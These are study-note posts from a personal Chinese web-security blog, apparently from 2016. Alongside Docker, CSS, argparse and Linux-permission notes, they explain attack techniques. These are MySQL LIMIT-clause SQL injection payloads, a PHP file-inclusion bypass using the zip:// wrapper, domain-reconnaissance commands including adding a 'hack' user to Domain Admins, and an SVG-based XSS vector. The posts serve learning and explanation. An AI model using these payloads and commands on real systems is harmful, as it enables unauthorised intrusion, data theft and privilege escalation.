Tuuu's Blog

安全盒子创始人,专注于Web安全研究。

分类 学习笔记 下的文章

作者:@王松_Tuuu   时间:May 26, 2016

跟着JimmyZhou师傅学Docker

前段时间Docker爆了一个远程命令执行的漏洞,刚好自己对docker也比较感兴趣,前几天研究了一下Docker,恩,安装是没问题,概念也懂得差不多,但是尼玛完全不会用啊,于是约了我周师傅来教教我,目标是安装一个nginx、一个mysql、最终装一个typecho、开始~

安装Docker

我这里环境是ubuntu15.04,周师傅说可以apt-get安装,也可以用官方提供的方法,师傅也推荐用官方的,于是执行:

curl -fsSL https://get.docker.com/ | sh

好的,因为我1年前傻逼的装了一个32位的ubuntu,周师傅不愿意给我教了,

所以我重装系统了,本次文章到此结束,我们下期再见 23333

但是为了节省时间,我们最终决定还是先用虚拟机讲完Docker,再重装 2333

好的现在已经装好了虚拟机和Docker,我们继续~

964e8865gw1f49992c39fj20af0203yi.jpg

安装mysql

师傅直接给了命令,

docker run —name mysql -d -e MYSQL_ROOT_PASSWORD=my-secret-pw -v /place/to/store/mysql:/var/lib/mysql mysql:5.6

其中--name代表容器的名字,
-d 代表后台运行,如果不后台运行的话,直接运行起来就又关了。
-e 代表设置环境变量,为啥设置MYSQL_ROOT_PASSWORD请看官方文档
-v 代表,也就是主机和容器共享的目录,大概格式是主机上的目录:容器里的目录:其他选项
mysql:5.6 代表软件和版本

和周叔叔聊了很久,命令也跑起来了,但是现在已经12点半了,我们都打算睡觉了~

OK,已经成功的安装了一个mysql的容器:

然后可以运行如下命令进入mysql容器的shell环境:

docker exec -it mysql /bin/bash

如下图:

其中-iti指的是交互式t指的是伪终端

如果要进入docker container的话,就一定要带上-it

后面mysql -uroot -p什么的就不再说了。

好了,现在已经12:38了,目前mysql已经装好了,师傅也要睡觉了,今天就到这里吧。

明天见~

安装php

docker run --name phpfpm -d -v /data/web/typecho/wwwroot:/app --link mysql:mysql jimmyzhou/typecho-nginx-php

其中--name不再解释,就是容器名称,-d后台运行,-v是卷,--link是指容器间建立链接,:前面是容器名称,后面是容器里面调用的名称,最终的jimmyzhou/typecho-nginx-php是我周师傅上传到hub上的镜像.

安装nginx

首先把nginx的配置下载下来:

wget https://raw.githubusercontent.com/Manasseh-Zhou/Typecho-On-Docker/master/nginx.conf -O /data/web/typecho/conf/nginx.conf

然后安装nginx,

docker run --name typecho_nginx -d -p 81:80 --link phpfpm:phpfpm -v /data/web/typecho/conf/nginx.conf:/etc/nginx/nginx.conf:ro --volumes-from phpfpm nginx1.9

其中-v后面的ro意思是read only,配置嘛~在容器里可读就OK.

完成

随后在web目录下面写入1.php,phpinfo成功执行.

2016-06-01 23:42:19屏幕截图.png

公司同事推荐学习docker-machine/docker-compose/docker-swam

作者:@王松_Tuuu   时间:April 12, 2016

[转载]SQL Injections in MySQL LIMIT clause

from:https://rateip.com/blog/sql-injections-in-mysql-limit-clause/

此方法适用于MySQL 5.x中,在limit语句后面的注入

例如:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point

上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,否则利用UNION很容易就可以读取数据了,看看在MySQL 5中的SELECT语法:

SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name' export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,那么使用PROCEDURE函数能否注入呢?

Let’s give it a try:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

ANALYSE可以有两个参数:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

看起来并不是很好,继续尝试:

mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);

但是立即返回了一个错误信息:

ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

sleep函数肯定没有执行,但是最终我还是找到了可以攻击的方式:

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

如果不支持报错注入的话,还可以基于时间注入:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

直接使用sleep不行,需要用BENCHMARK代替。

转载自乌云zone:http://zone.wooyun.org/content/18220

作者:@王松_Tuuu   时间:April 1, 2016

CSS选择器优先级

前段时间搬家了 然后隔壁搬来了一个前端妹纸,

然而跟着妹纸学到了很多知识,比如:本文,嘿嘿嘿你懂得~

问题

有如下html代码:

<div id="b">
        <a href="" class="a" id="a">ALink</a>
</div>

如果设置css样式:

#b a{
    color:red;
}
#a{
    
    color: green;
}

问题:#b a生效,还是#a生效~

然而我的回答是:#a

但是结果是:

2016-04-01 01-32-57屏幕截图.png

呵呵

原理

以下全部是我家隔壁那个亲爱的可爱的萌萌哒的前端妹纸科普的知识,

css的选择器优先级分别为:

  • 标签选择器:1
  • 类选择器:10
  • ID选择器:100

现在来解释上面为何打脸了,

因为#b a中选择器权重一共是101,而#a的权重为100#b a生效。

特例

如果我们给#a的css后加上!important

那么#a的优先级变为最高,甚至比在html标签上加style的优先级还要高。

比如如下代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSS Test</title>
    <style>
        #a{

            color: green !important;
        }
    </style>
</head>
<body>
    <div id="b">
        <a href="" id="a" style="color:blue">ALink</a>
    </div>
</body>
</html>

显示的结果是加了!important设置的颜色

2016-04-01 01-39-05屏幕截图.png

感谢我家隔壁的前端妹纸,给我科普前端知识~

作者:@王松_Tuuu   时间:March 28, 2016

Python Argparse模块学习

最近是打算写个好用的webdirscan,毕竟现成的没找到几个好用的

所以发挥麒麟臂,自己写一套适合自己以及自己喜欢的web目录扫描工具,

也就当是巩固Python基础的一个过程。

前言

首先考虑到要做webdirscan就必须传入主机、字典、脚本语言等,所以就涉及到了命令行传入参数的问题,于是看了看其他的脚本都是如何接收参数,调用参数,我这里看的是lijiejie的子域名爆破工具,里面import了argparse模块,所以就去官方找了文档,这里对文档进行简单的翻译和理解。

没有接收参数(--help除外)

#!/usr/bin/env python
# coding:utf-8

import argparse

parse = argparse.ArgumentParser()
args = parse.parse_args()

接收必须参数

简单接收一个参数

举个栗子,接收一个host参数并输出:

#!/usr/bin/env python
# coding:utf-8

import argparse

parse = argparse.ArgumentParser()
parse.add_argument('host')
args = parse.parse_args()

print args.host

结果如下:

striker@Striker-Ubuntu:~/Desktop/PythonStudy$ ./argparseStudy.py www.hackersb.cn
www.hackersb.cn

如果没有带参数,则返回:

striker@Striker-Ubuntu:~/Desktop/PythonStudy$ ./argparseStudy.py 
usage: argparseStudy.py [-h] host
argparseStudy.py: error: too few arguments

给接收的参数添加帮助文字

举个例子,给上文的host添加帮助文字:

#!/usr/bin/env python
# coding:utf-8

import argparse

parse = argparse.ArgumentParser()
parse.add_argument('host',help="This is host for scan.")
args = parse.parse_args()

print args.host

这个时候执行argparseStudy.py -h会返回:

striker@Striker-Ubuntu:~/Desktop/PythonStudy$ ./argparseStudy.py -h
usage: argparseStudy.py [-h] host

positional arguments:
  host        This is host for scan.

optional arguments:
  -h, --help  show this help message and exit

设置接收参数的类型

这里以int型为例,当然也有string类型,这里还支持什么类型,我不知道.. 反正常用的就int和string吧...

#!/usr/bin/env python
# coding:utf-8

import argparse

parse = argparse.ArgumentParser()
parse.add_argument('host',help="This is host for scan.",type=int)
args = parse.parse_args()

print args.host

以下是我输入string类型和int类型的返回结果:

striker@Striker-Ubuntu:~/Desktop/PythonStudy$ ./argparseStudy.py aaa
usage: argparseStudy.py [-h] host
argparseStudy.py: error: argument host: invalid int value: 'aaa'
striker@Striker-Ubuntu:~/Desktop/PythonStudy$ ./argparseStudy.py 123
123

输入aaa的时候因为不是int型,所以报错~

接收可选参数

接收需要传值的可选参数

比如做webdirscan需要输入文件后缀,如:php、jsp、aspx、asp,但这个参数是可选的:

#!/usr/bin/env python
# coding:utf-8

import argparse

parse = argparse.ArgumentParser()
parse.add_argument('--suffix',help="This is suffix on scan file")
args = parse.parse_args()

if args.suffix:
    print args.suffix

以下是我可选参数的传入方式、并且不传该参数也不会报错~ 毕竟是可选参数:

striker@Striker-Ubuntu:~/Desktop/PythonStudy$ ./argparseStudy.py --suffix php
php
striker@Striker-Ubuntu:~/Desktop/PythonStudy$ ./argparseStudy.py

接收无需传值的可选参数

比如我们做webdirscan的时候,如果传入--thread就启用多线程,不传入则单线程:

#!/usr/bin/env python
# coding:utf-8

import argparse

parse = argparse.ArgumentParser()
parse.add_argument('--thread',help="open the more thread",action="store_true")
args = parse.parse_args()


if args.thread:
    print 'more thread!'

返回结果如下,如果我带上--thread则输出多线程:

striker@Striker-Ubuntu:~/Desktop/PythonStudy$ ./argparseStudy.py
striker@Striker-Ubuntu:~/Desktop/PythonStudy$ ./argparseStudy.py --thread
more thread!

短配置

缩短我们的参数,很多程序中都用单个字母代替,比如nmap的-port简写为-p,我们也可以这样:

#!/usr/bin/env python
# coding:utf-8

import argparse

parse = argparse.ArgumentParser()
parse.add_argument('-t','--thread',help="open the more thread",action="store_true")
args = parse.parse_args()


if args.thread:
    print 'more thread!'

运行结果如下:

striker@Striker-Ubuntu:~/Desktop/PythonStudy$ ./argparseStudy.py
striker@Striker-Ubuntu:~/Desktop/PythonStudy$ ./argparseStudy.py -t
more thread!

大概就学习到这里,基本上常用的已经介绍了,其他少用的可以去看官方文档

参考

作者:@王松_Tuuu   时间:March 18, 2016

PHP任意文件包含绕过截断新姿势

前言

此方法是@l3m0n叔叔给我分享的,原文已经发布在90sec

我没有90sec的账号,所以自己实践一下,顺道安利给访问我博客的小伙伴。

适用情况

可以控制协议的情况下,如果%00无法截断包含,可使用这招。

<?php

$a = $_GET['file'];

include $a.'.html.php';

思路&方法

思路主要是利用了PHP的一个流封装的特性,可以参考PHP官方文档中的Example #3

假设存在文件包含的代码为:

<?php

$a = $_GET['file'];

include $a.'.html.php';

但是我们%00无法截断, 只能包含 xxxx.html.php

首先我们新建一个hello.html.php,内容为phpinfo();

然后压缩成zip,结构如下图:

QQ截图20160318150028.png

然后访问如下网址,成功包含压缩文件内的hello.html.php

http://localhost/test/blog.php?file=zip://test.zip%23hello

如图:

QQ截图20160318150113.png

把我们输入的变量和include后面的变量合起来就是

zip://test.zip#hello.html.php

代表当前目录下的test.zip压缩包里面的hello.html.php,于是包含成功。

总结

代码审计要走的路还很长~我还要继续学习

很早以前和柠檬草(l3m0n)叔叔搞站遇到过这种情况,当时无果放弃了,前几天草叔叔告诉我他有思路了。

感谢柠檬草叔叔给我分享这个技巧,让我学到了新知识 谢谢你 :)

作者:@王松_Tuuu   时间:March 16, 2016

妈的智障!手残删掉了Ubuntu家目录!!

事情的起因是下载某个文件,然后没有下载完成,我就取消了。。

0809a3ef76094b36dc0a4edda6cc7cd98c109d8e.jpg

打算删掉这个文件,因为没有删除完成,所以会留下xxxx.run.1xxxxx.run.2这样的文件。

删就删呗,然后执行rm -rf xxxx然后按tab键,补全了,想着应该会补全到xxxxxx然后就挺了,毕竟有.1.2这样的文件存在,然后顺手加了一个* 变成了。。。。

2016-03-16 02-13-05屏幕截图.png

然后就。。。。。。 哈哈哈哈哈哈哈!!!!

此时我的内心是崩溃的

psb.jpg

然后赶紧看了看,卧槽,是/home/striker目录..

不过还好,只是删除掉了striker目录下的所有文件和文件夹。。

看了看网上的恢复方法,呵呵。。首先麻烦,其次恢复的可能性很小。

于是决定用一个最暴力的办法!!

469a0f09c93d70cfc4ac864affdcd100bba12b43.jpg

先把家目录下原有的文件夹创建了吧

比如:Rdesktop、Downloads、Video等文件夹。

然后就重启吧,赌赌运气。。结果发现重启正常。

ca7adc8f8c5494ee2389205e2af5e0fe98257e76.jpg

然后就想想吧.. 删除之前家目录下都有有啥

  • webshell
  • 工具:子域名爆破工具
  • 字典:爆破字典
  • 图片:头像、壁纸
  • 好像也没啥了,反正记不起来了。

然后挨个把上面能恢复的都恢复了。。

04c93dfbb2fb43161891543d27a4462308f7d30b.jpg

幸好删除的是家目录下面的东西,没有rm -rf / 不然死定了...

但是这样的错误可不能再犯了啊... 做点防护措施吧。。

以后删除文件就先移动到回收站。。。

参考的这篇文章:https://segmentfault.com/a/1190000000494036

然后做完以后发现,好像我根本不会去用del删除文件或者文件夹。

最后毅然决定:不做措施了!

毕竟自己手贱,迟早要为自己手贱埋单的..有了这一次 相信以后删除文件会注意的....

最后还换了一个有史以来我换过的最没节操的一个壁纸!

2016-03-16 02-51-07屏幕截图.png

总结

经过这次误删事件,啥也没学到,啥收获也没有,就收获了一张猥琐壁纸。

(以后删文件还是要小心谨慎啊.. 要多备份...)

52c79e246b600c330e64f28f1d4c510fd8f9a1f8.jpg

作者:@王松_Tuuu   时间:March 14, 2016

Linux权限rwx转数字的一个小tips

我们知道linux中文件权限分别是-rwx,分别代表无权限、读、写、执行。

权限也可以用数字来表示,比如我们常说的777、755、644等。

从最简单的说起

  • -代表无权限,用数字表示是 0
  • r代表读权限,用数字表示是4
  • w代表写权限,用数字表示是2
  • x代表执行权限,用数字表示是1

老师讲的转换方式

以前在兄弟连培训的时候,李超老师讲过,一个方法

就是把要给的权限先转换成数字,然后加起来

比如777权限,7=1+2+4,其中124分别代表执行、读、写。

  • 三个7中,第一个7代表文件所属用户对该文件的权限为7(所有权限)
  • 第二个7代表文件所属用户组对该文件的权限为7
  • 第三个7代表其他用户组对该文件的权限为7

(ps:也就是说任何一个人对该文件都有读写执行权限,所以说嘛~不要随便设置777权限)

自己get到的一个转换方式

假设我们要给一个文件如下权限(所属用户拥有rwx,同用户组和其他用户拥有读和执行):

-rwxr-xr-x

第一个-代表这是一个文件,如果是目录则会显示d

我们把后面权限的部分拿出来,用二进制来表示,如果有权限用1表示,反之为0

那么这个文件权限转换成了

111 101 101

然后把每个三位数转换成10进制,分别为:

7 5 5

看到755 是不是就明白啦~~

Linux Shell中转换进制

下图是在Linux Shell中二进制转十进制的方法(口算帝绕道!)

2016-03-14 05-55-13屏幕截图.png

文章最后的参考中写了一个各种进制及base64|32转换的相关文章

参考文章

linux shell 不同进制数据转换(二进制,八进制,十六进制,base64)

作者:@王松_Tuuu   时间:March 11, 2016

内网渗透&域渗透常用DOS命令

查看当前网卡配置信息,包括所属域以及IP段
ipconfig /all

查看域
net view /domain

查看当前域中的计算机
net view

查看CORP域中的计算机
net view /domain:CORP

Ping计算机名可以得到IP
ping Wangsong-PC

获取所有域的用户列表
net user /domain

获取域用户组信息
net group /domain

获取当前域管理员信息
net group "domain admins" /domain

查看域时间及域服务器的名字
net time /domain

添加普通域用户
net user hack hack /add /domain

将普通域用户提升为域管理员
net group "Domain Admins" hack /add /domain

作者:@王松_Tuuu   时间:March 10, 2016

SVG XSS的一个黑魔法

起因

深入研究这个SVG黑魔法大概用了我三个多小时的时间,起因是@陈硕小伙伴问了我一个XSS相关的问题,让我很感兴趣,随后就深入研究了一下,整个过程很辛苦,但也很有趣。 :)

疑问

陈硕给了我两个代码,问我为什么一个可以执行,另一个不可以执行。

1、可以执行XSS的代码:
<svg><script>alert&#40;1)</script>

如图:
2016-03-10 01-59-38屏幕截图.png

2、不可以执行XSS的代码:
<script>alert&#40;1)</script>

那么问题来了,为什么加了<svg>的可以执行?

顺腾摸瓜

@陈硕给了我一篇深入理解浏览器解析机制和XSS向量编码让我参考。

其中提到在HTML中有五类元素:

  1. 空元素(Void elements),如<area>,<br>,<base>等等
  2. 原始文本元素(Raw text elements),有<script><style>
  3. RCDATA元素(RCDATA elements),有<textarea><title>
  4. 外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素
  5. 基本元素(Normal elements),即除了以上4种元素以外的元素

五类元素的区别如下:

  1. 空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。
  2. 原始文本元素,可以容纳文本。
  3. RCDATA元素,可以容纳文本和字符引用。
  4. 外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释
  5. 基本元素,可以容纳文本、字符引用、其他元素和注释

按照文章中提到的html解析流程,解析到<svg>的时候会变成标签开始状态(Tag open state),然后到标签名状态(Tag name state),等等,最终到数据状态(Data state),并释放当前标签的token,当解析器处于数据状态(Data state)时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。

恍然大悟

按照上面的逻辑并没有什么问题,但是主要问题是为什么XSS代码执行了?

随后在网上看了很多很多资料,查阅过的资料我会写到文章最后的参考里面

深入理解浏览器解析机制和XSS向量编码我们已经可以知道,svg属于外部元素,也就是Foreign elements
whatwg中也有提到。

  • Foreign elements
    Elements from the MathML namespace and the SVG namespace.

可见Foreign elemnts来源于MathMLSVG命名空间。

MathML指的是什么?

2016-03-10 02-23-02屏幕截图.png

XML啊!!XML啊!!XML啊!!

那么我猜,<svg>遵循XMLSVG的定义。

我们知道,在XML中,&#40;会被解析成

  • 在XML中实体会自动转义,除了<![CDATA[]]>包含的实体

代码:

<xml>
    <name>aaa</name>
    <value>aaaaaaa&#40;</value>
</xml>

如图:

2016-03-10 02-27-41屏幕截图.png

当然,SVG标准中也定义了script标签的存在。

2016-03-10 02-32-54屏幕截图.png

所以,这个XSS之所以能够执行是因为遵循了svg及xml的标准

总结&随便说点什么

学XSS还是要深入了解原理啊!这里的原理指的不仅仅是js代码,各种事件等等,而应该更深层次的去理解。

这应该是我第一次对技术上的东西这么刨根问底研究个透吧,真心非常感谢@陈硕,让我感觉到了自己真的在成长。

参考资料

作者:@王松_Tuuu   时间:March 8, 2016

spl_autoload_register和__autoload的用法

__autoload

首先要了解一下__autoload的用法,__autoload__call__get等函数一样,是一个自动加载函数,当我们实例化一个未定义的类时,就会触发__autoload,比如:

test.php:

<?php
function __autoload($class){
    $file = $class.'.class.php';
    if(is_file($file)){
        require_once($file);
    }
}

$person = new Person();
$person->writehello();

Person.class.php:

<?php
class Person{
    public function writehello(){
        echo 'hello world!';
    }
}

结果如图:

QQ截图20160308144214.png

spl_autoload_register

spl_autoload_register__autoload很像,如果遇到实例化未定义的类,那么PHP会执行spl_autoload_register指定的函数,如下:

test.php:

<?php
function loadclass($class){
    $file = $class.'.class.php';
    if(is_file($file)){
        require_once($file);
    }
}

spl_autoload_register('loadclass');

$person = new Person();
$person->writehello();

Person.class.php:

<?php
class Person{
    public function writehello(){
        echo 'hello world!';
    }
}

整个过程Person.class.php都没改变内容,只是实例化未定义类的时候调用的方法不一样而已。

学习笔记,欢迎各位PHP大神指教!